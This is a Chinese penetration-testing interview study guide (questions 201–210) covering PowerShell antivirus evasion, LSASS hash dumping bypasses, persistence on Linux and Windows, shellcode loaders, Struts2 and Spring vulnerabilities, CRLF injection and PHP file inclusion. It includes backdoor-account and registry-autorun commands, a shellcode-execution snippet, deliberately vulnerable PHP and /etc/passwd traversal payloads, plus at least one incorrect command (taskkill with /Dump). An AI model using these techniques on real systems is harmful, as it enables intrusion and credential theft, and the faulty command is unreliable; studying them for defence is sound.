2025年渗透测试面试题总结-25(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
二百〇一、PowerShell免杀制作
二百〇二、内存Hash提取绕过
二百〇三、Linux/Windows权限维持
Linux
Windows
二百〇四、红队/蓝队工作框架
二百〇五、Shellcode嵌入EXE方案
二百〇六、Spring框架漏洞
二百〇七、Struts2漏洞利用
二百〇八、反序列化漏洞
原理
解决方案
二百〇九、CRLF注入原理
二百一十、PHP LFI漏洞详解
漏洞代码示例
手工挖掘技巧
二百〇一、powershell免杀怎么制作?二百〇二、提取内存hash被查杀,如何绕过?二百〇三、分别说下linux、windows的权限维持?二百〇四、如何开展蓝队工作?如何开展红队工作?二百〇五、如何把shellcode嵌入到正常exe中?二百〇六、描述下Spring框架的几个漏洞?二百〇七、说下strust2的漏洞利用原理?二百〇八、php/java反序列化漏洞的原理?解决方案?二百〇九、CRLF注入的原理二百一十、php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?
二百〇一、PowerShell免杀制作
核心思路:规避特征检测 + 混淆技术
- 代码混淆
- 字符串分割:
'inv'+'oke-e'+'xpression'
- 编码转换:Base64编码命令后通过
-EncodedCommand
执行- 变量替换:
$a='iex'; $b='Get-Process'; &$a $b
- 内存注入
- 使用
[System.Reflection.Assembly]::Load()
直接加载反射生成的PE- 调用Win32 API(如
VirtualAlloc
/CreateThread
)执行Shellcode- 合法工具滥用
- 利用
MSBuild.exe
加载内嵌C#的XML项目文件- 使用
InstallUtil.exe
执行未签名的.NET程序- 防御对策:
✅ 启用AMSI(Antimalware Scan Interface)
✅ 部署脚本块日志记录(Script Block Logging)
二百〇二、内存Hash提取绕过
绕过方案:
- 直接内核读取
- 调用
NtQuerySystemInformation
的SystemModuleInformation
枚举驱动- 通过
KeServiceDescriptorTable
定位SSDT函数- 定制化Dump
- 修改Mimikatz的
sekurlsa::logonpasswords
模块特征- 使用自定义PDB路径编译
- 无文件技术
- 注入到可信进程(如svchost)调用API
- 使用Windows原生工具:
taskkill /FI "PID eq [LSASS_PID]" /Dump
- 防御检测:
🔒 启用Credential Guard(虚拟化保护)
🔒 监控LSASS进程的非法句柄获取
二百〇三、Linux/Windows权限维持
Linux
- 后门账户
bash
echo 'backup:$1$salt$NkCwY3fVObWnL1wFx6bT70' >> /etc/shadow # 密码:123456
- SSH后门
- 修改
sshd_config
添加AuthorizedKeysCommand
执行自定义脚本- Rootkit
- 劫持
LD_PRELOAD
加载恶意so文件(如拦截readdir
隐藏文件)Windows
- 计划任务
powershell
schtasks /create /tn "UpdateService" /tr "C:\malware.exe" /sc minute /mo 5
- WMI事件订阅
powershell
$filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() $filter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process'"
- 注册表自启动
cmd
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Backdoor" /t REG_SZ /d "C:\backdoor.exe"
二百〇四、红队/蓝队工作框架
维度 红队 (Red Team) 蓝队 (Blue Team) 核心目标 模拟攻击,验证防御有效性 检测响应,提升安全体系 关键动作 ▶ 情报搜集(OSINT)
▶ 武器化载荷开发
▶ 横向移动路径设计▶ 日志分析(SIEM)
▶ IDS/IPS规则优化
▶ 端点行为监控工具示例 Cobalt Strike, Metasploit, Sliver ELK Stack, Wireshark, Volatility 交付成果 渗透测试报告 + 攻击链还原 事件响应手册 + 加固方案
二百〇五、Shellcode嵌入EXE方案
步骤:
- 资源注入
- 使用Visual Studio将Shellcode作为资源文件(.rc)嵌入
- 运行时通过
FindResource
/LoadResource
提取- 代码空洞填充
- 定位PE文件的
.text
节空白区(0x00填充段)- 用Shellcode覆盖并修复入口点(需计算偏移)
- 线程劫持
c
void *exec = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof(shellcode)); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
二百〇六、Spring框架漏洞
- CVE-2022-22965 (Spring4Shell)
- 原理:JDK9+的
ClassLoader
属性暴露导致RCE- 影响:Spring MVC参数绑定漏洞
- CVE-2022-22963 (Spring Cloud)
- 原理:路由表达式注入(SpEL)
- CVE-2018-1273
- 原理:未授权访问+目录遍历(spring-messaging)
二百〇七、Struts2漏洞利用
典型漏洞:S2-045 (CVE-2017-5638)
- 触发点:
Content-Type
头解析异常- 利用链:
http
POST /struts2-showcase/ HTTP/1.1 Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}
- 本质:OGNL表达式注入(Object-Graph Navigation Language)
二百〇八、反序列化漏洞
原理
- Java:
ObjectInputStream.readObject()
未校验反序列化类java
ObjectInputStream ois = new ObjectInputStream(input); ois.readObject(); // 可触发恶意类的构造方法
- PHP:
unserialize()
自动调用__wakeup()
或__destruct()
解决方案
- 白名单校验:使用
SerialKiller
库替换原生反序列化- 加密签名:对序列化数据添加HMAC签名
- 替代方案:使用JSON/XML等安全数据格式
二百〇九、CRLF注入原理
漏洞场景:
http
http://example.com/set_header?param=value%0d%0aSet-Cookie:%20hacker=1
- 注入结果:
http
HTTP/1.1 302 Found Location: value Set-Cookie: hacker=1 <!-- 恶意头部注入 -->
- 防御:过滤
\r\n
-> 转义为%0D%0A
二百一十、PHP LFI漏洞详解
漏洞代码示例
php
<?php // vuln.php $page = $_GET['page']; include($page . '.php'); // 未过滤导致目录穿越 ?>
利用:
http://site.com/vuln.php?page=../../../../etc/passwd%00
手工挖掘技巧
- 参数探测:
- 测试
index.php?file=php://filter/convert.base64-encode/resource=index
- 无回显利用:
- 日志注入:包含Apache日志(
/var/log/apache2/access.log
)- 错误触发:包含
/proc/self/environ
(需mod_cgi)- 文件遍历:
php
http://site.com/vuln.php?page=php://filter/string.rot13/resource=/etc/passwd
- 自动化工具:
- 使用
ffuf
爆破路径:ffuf -w wordlist.txt -u "http://site.com/?page=FUZZ"